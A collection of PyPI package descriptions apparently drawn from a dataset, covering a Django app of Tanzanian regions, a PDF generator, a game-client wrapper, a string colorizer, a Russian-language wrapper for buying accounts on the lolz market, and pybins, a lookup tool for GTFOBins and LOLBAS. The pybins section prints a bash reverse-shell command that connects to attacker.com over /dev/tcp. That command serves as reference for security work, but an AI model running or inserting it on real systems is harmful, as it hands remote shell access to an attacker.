semvec/pypi-packages huggingface dataset:
django-mikoa 0.0.3
Django app for Tanzania Regions and Districts

# django-mikoa

A Django application consisting of all Tanzania locations from Regions to District.

## Prerequisites

* Python 3.6+
* Pip or Pipenv

## It will Cover

* [x] Regions (region, capital, number of districts, area, population, postcode and zone)
* [x] Districts (district, region, population)
* [ ] Wards
* [ ] Vilage/Streets

## Installation

This package is available in [Python Package Index](https://pypi.org/project/django-mikoa/) and can be installed using `pip` or `pipenv`

1. Run ``pip install django-mikoa``
2. Add ``mikoa`` to ``INSTALLED_APPS``
3. Run ``python manage.py migrate``

## Usage

### To access Tanzania Regions

```python
from mikoa.models import Region
regions = Region.objects.all()

print(regions)
```

### To access Tanzania Districts

```python
from mikoa.models import District
districts = District.objects.all()

print(districts)
```

### To access all Districts of Certain Region

```python
from mikoa.models import Region, District
regions = Region.objects.all()

for region in regions:
    for district in region.district_set.all():
        print(district.region.name)
        print(district.name)   
```

## Give it a star

If you found this repository useful, give it a star so as the whole galaxy of developer can get to know it.

## Bug bounty?

If you encounter issue with the usage of the package, feel free raise an issue so as we can fix it as soon as possible(ASAP).

## Pull Requests

If you have something to add I welcome pull requests on improvement , you're helpful contribution will be merged as soon as possible

## Disclaimer

All the location I used to build this repository, I got from an public repository titled [tanzania-locations-db](https://github.com/HackEAC/tanzania-locations-db), I'm not responsible for any kind of misinformation in it, So use it to your own risk
pybins 1.0.1
pybins is an command line utily that gather gtfobins and lolbins data.
Requires Python: >=3.6

# PyBins

PyBins is a command line utily that wraps the content of [GTFOBins](https://gtfobins.github.io/) and [LOLBAS](https://lolbas-project.github.io/)

## Instalation:
`
pip install pybins
`
## Usage:

```
usage: pybins [-h] [-p PLATFORM] [-b BINARY] [-f FUNCTION]

PyBins Cmd Line wraper for GTFOBin and LOLBas

optional arguments:
  -h, --help            show this help message and exit
  -p PLATFORM, --platform PLATFORM
                        Select the platform to lookup, Win/Windows or
                        Lin/Linux, case insensitive
  -b BINARY, --binary BINARY
                        The binary to lookup
  -f FUNCTION, --function FUNCTION
                        The function to lookup
```

## Examples

### List platform available binaries and functions/categories:

* `pybins -p win`
* `pybins -p windows`
* `pybins -p lin`
* `pybins -p linux`

### List all linux binaries with reverse-shell function:

* `pybins -p lin -f reverse-shell`
* `pybins -p linux -f reverse-shell`

#### Output

```
The Function reverse-shell has the following binaries:

nc           perl     ksh    rview               cpan     node          telnet        irb
python       gdb      pip    bash                view     openssl       gimp          rvim
socat        vim      php    jrunscript          jjs      ruby          vimdiff       easy_install
```

### List all functions of the Linus binary bash

* `pybins -p lin -b bash`
* `pybins -p linux -b bash`

#### Output

```
The binary bash has the following categories:

shell    reverse-shell      file-upload     file-download      file-write     file-read    library-load
suid     sudo
```

### List all the commands for the binary bash and function reverse-shell on linux

* `pybins -p lin -b bash -f reverse-shell`
* `pybins -p linux -b bash -f reverse-shell`

#### Output

```
Description:  Run `nc -l -p 12345` on the attacker box to receive the shell.
Command:      export RHOST=attacker.com
              export RPORT=12345
              bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
```
pdf-gen 0.0.7
Pdf-file generator
Requires Python: >=3.7

# Pdf_gen guide

## Installing
pip3 install pdf_gen

## How to use
```python
from pdf_gen.pdf_gen import pdf

my_file = pdf(path, name) # path - path to your file, name - name of file
my_file.random_drawing(count) # count - count of drawings
my_file.next_page() # turns the page
my_file.set_font(size) # size - size of font
data = {
            'title': 'Table title',
            'columns': [
                {'name': 'X_name', 'value': 'x'},
                {'name': 'Y_name', 'value': 'y'}
            ],
            'rows': [
                {'x': 10, 'y': 20},
                {'x': 5, 'y': 10}
            ]
}
my_file.draw_table(data, x, y) # data - dict with data
#  x and y - coordinates of left-bottom corner of table
my_file.write_text(text, position, x, y) # text - string of text to writing, position - left/mid/right position 
#  of string of text, x and y - coordinates of string
my_file.insert_image(path, x, y, width, height) # path - path to image,
#  x and y - coordinates of left-bottom corner of image
# width and height - sizes of image
my_file.save(author, title) # author - author of file, title - title of file
```
## Example
```python
from pdf_gen.pdf_gen import pdf

file = pdf('c:/projects/pdf_generator/tests', 'compare')
file.write_text('Testing file', 'right', 350, 800)
file.next_page()
data = {
            'title': 'Table title',
            'columns': [
                {'name': 'Name', 'value': 'name'},
                {'name': 'Age', 'value': 'age'}
            ],
            'rows': [
                {'name': 'string1', 'age': 23},
                {'name': 'string2', 'age': 43}
            ]
        }
file.draw_table(data)
file.next_page()
file.random_drawing(10)
file.save() 
```
## You can create some pdf and merge it into one
```python
from pdf_gen.pdf_gen import pdf, merge_pdf

file_names = ['first', 'second', 'third', 'fourth']
paths = []
for file_name in file_names:
    page = pdf('/files/', f'{file_name}.pdf')
    paths.append(f'/files/{file_name}.pdf')
    page.write_text(file_name)
    page.random_drawing(10)
    page.save()
merge_pdf(paths, '/files/res.pdf', True)
```
lolzmarketapi 0.2
Использование функций маркета через python

Библиотека создана для проведения операций на маркете.

## Установка:

```
pip install lolzmarketapi
```

## Примеры:

* **Узнать баланс**
  ```
  from marketapi import lolzmarketapi

  client = lolzmarketapi.Api(cookie, useragent)

  print(client.getBal())
  ```

* **Перевод средств**
  ```
  from marketapi import lolzmarketapi

  client = lolzmarketapi.Api(cookie, useragent)

  print(client.transfer(username, amount, comment, secret_answer))

## Список методов

* **getBal()** - *Узнать баланс* (Вернет текущий баланс, баланс в холде)

* **transfer(username, amount, comment='', secret_answer='')** - *Перевод средств*

* **getPayments(page)** - *Получить список платежей*

* **parseMarket(url, page)** - *Парс маркета по ссылке* (Вернет массив: [ название, цена, ссылка ])

* **bookAccount(account_id, log)** - *Бронировать аккаунт* (Если log = 1 - вернет результат)

* **unbookAccount(account_id)** - *Снять бронь с аккаунта* (Вернет "Completed")

* **buyAccount(account_id, bron)** - *Купить аккаунт* (bron - параметр, какой отвечает за бронировку аккаунта. Если вы не использовали bookAccount - значение аргумента bron должно быть 0)

* **accountInfo(account_id)** - *Информация про аккаунт* (Вернет массив [ название, цена, продавец, дата создания, гарантия, доступен к покупке ])
slimelearnpy 0.8.3
slimelearn.py version
Requires Python: >= 3.9.1

slimelearn.py
=============

A very easy to use API wrapper for SlimeLearn written in Python.

Installing
----------

**Python 3.9.1 or higher is required**

To install the library:
```sh
pip install slimelearnpy
```

Client Example
-----------

The following code recives updates from the server every 3 seconds, and executes a jump if the player is ready to do so.

```python
from slimelearnpy import SlimeLearn

sl = SlimeLearn()

conf = {
    "req": "config",
    "payload": {
        "mode": "sec",
        "delay": 3,
    }
}

def my_agent(input_data):
    
    if input_data["player"]["state"] == 'idle':
        sl.jump()

sl.run("//localhost:8080", config=conf, function=my_agent)
```

More examples can be found in the examples folder.
ezpycolor 0.1.0
simple colorization of strings in Python

# ezpycolor
simple colorization of strings in Python

### Installation
```
pip install ezpycolor
```

### Example Output
![ezpycolor-example-output.PNG](https://github.com/bonifield/ezpycolor/raw/main/ezpycolor-example-output.PNG)

### Usage
```
from ezpycolor import *

printgreen("hello world")

s = colorpurple("hello")+" "+colorred("world")
print(s)

printrainbow("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
printbgrainbow("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
```

### Objects
```
# print statements
printpurple
printblue
printgreen
printyellow
printgold
printred
printbold
printunderline
printbgpurple
printbgblue
printbggreen
printbgyellow
printbggold
printbgred
printrainbow
printbgrainbow

# string objects
colorpurple
colorblue
colorgreen
coloryellow
colorgold
colorred
colorbold
colorunderline
colorbgpurple
colorbgblue
colorbggreen
colorbgyellow
colorbggold
colorbgred
colorrainbow
colorbgrainbow
```